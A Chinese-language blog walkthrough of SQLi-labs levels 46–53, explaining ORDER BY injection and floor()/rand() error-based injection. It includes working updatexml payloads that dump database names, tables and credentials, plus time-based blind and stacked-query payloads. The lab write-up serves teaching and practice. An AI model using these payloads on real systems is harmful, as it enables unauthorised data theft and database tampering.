less-46

一進入網頁,先看到的是以下頁面:

照上圖反藍處的說明,把原本的id=1改成sort=1:

可以看見列出帳密的表格。

可以發現這一次在1後面多加了desc,即可造成表格變化,從大排到小,所以存在sql injection注入。

這一次的sql語句為:

sql = "SELECT * FROM users ORDER BY id";

因為注入點是在order by以後,所以大家把這叫做order by注入。

這一關沒做什麼防護,大概也是屬於數值型,不需要什麼閉合,所以隨便輸入個什麼都能注入:

上圖是使用報錯注入,語句如上圖反藍處,結果如上圖反灰處。

語句分析:

select count(*) from users group by concat(database(),floor(rand(0)*2));

select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

這兩句要表達的意思是一樣的,as x其實就是concat(database(),floor(rand(0)*2))

rand() & floor() & concat()

先來看看rand(0)。rand()是可以產生介於0-1之間的隨機數的函數。如果指定了括號內的數字,那麼每一次都會給出一樣的數字:

mysql> select rand();
+---------------------+
| rand()              |
+---------------------+
| 0.01474338305624517 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand();
+----------------------+
| rand()               |
+----------------------+
| 0.008617774591425225 |
+----------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

而floor(n)則會返回不大於n的最大整數,所以floor(3.3)返回3,floor(-3.3)返回-4。

concat()是字符串拼接函數,拼接多个字符串。

group by & count(*)

接下來看看group by跟count(*)。group by在執行時,會依次取出查詢表中的記錄並創建一個臨時表,group by的對象便是該臨時表的主鍵。如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中,注意是插入!

假設現在我們的user這個table的內容是:

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 38 | less38   | hello      |
+----+----------+------------+
14 rows in set (0.00 sec)

然後接下來下的指令是:

select count(*) from users group by username;

那麼這指令會新創一張表,把剛剛users那張表的username作為主鍵,計算出現的次數,如下所示:

實例:

mysql> select count(*),username from users group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
|        1 | admin    |
|        1 | admin1   |
|        1 | admin2   |
|        1 | admin3   |
|        1 | admin4   |
|        1 | Angelina |
|        1 | batman   |
|        1 | dhakkan  |
|        1 | Dumb     |
|        1 | Dummy    |
|        1 | less38   |
|        1 | secure   |
|        1 | stupid   |
|        1 | superman |
+----------+----------+
14 rows in set (0.00 sec)

所以再次回到原本的語句:

select count(*) from users group by concat(database(),floor(rand(0)*2));

這一次的主鍵是concat(database(),floor(rand(0)2)),所以主鍵可能會是security 0(0是floor(rand(0)2))的結果),問題是每一次主鍵重複,只會硬插入,不會再count累加,因此報錯。

總結

floor()報錯注入的原因是group by在向臨時表插入數據時,由於rand()多次計算導致插入臨時表時主鍵重覆,從而報錯,又因為報錯前concat()中的SQL語句或函數被執行,所以該語句報錯且被拋出的主鍵是SQL語句或函數執行後的結果。

當然,也可以使用updatexml來進行報錯攻擊:

用以下查詢語句,取代上圖反藍即可:

#顯示目前DB
updatexml(1,concat("!",(database())),2)

#爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)

#爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)

#爆出column內容
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)#LIMIT後面數字可以控制要爆出第幾號帳密。

less-47

跟less-46相同,只是這一次是用單引號閉合,注意要有and。只要把下圖反藍換成less-46最後的updatexml報錯語句即可。

1' and (updatexml(1,concat("!",(database())),2))--+

less-48

這一次是數值型注入,錯誤不回顯,所以無法再用updatexml進行報錯注入,所以改用延時注入:

1 and if(length(database())='8',sleep(1),1) --+

上圖藍字可改為其他條件,若條件成立可多load 1秒。

less-49

一樣錯誤不回顯,用延時注入,這一次是單引號閉合:

1' and if(length(database())='8',sleep(1),1) --+

less-50

這一次是order by注入+堆疊注入,注入模式為數值型,不須閉合:

sort=1;create table demo like users;--+

上圖反藍可以換成其他操作語句。

less-51

跟上題相同,只是閉合變成單引號:

sort=1';create table demo like users;--+

less-52

payload同less-50,只是這一次頁面不會回顯。

less-53

payload同less-51,只是這一次頁面不會回顯。

reference

关于floor()报错注入,你真的懂了吗? - FreeBuf网络安全行业门户


#sql injection: get method非id而是sort(order by注入)







Related Posts

MySQL

MySQL

What is the concept of handle in Java?

What is the concept of handle in Java?

「Node.js」利用 .env 與環境變數隱藏敏感資料 by dotenv

「Node.js」利用 .env 與環境變數隱藏敏感資料 by dotenv


Comments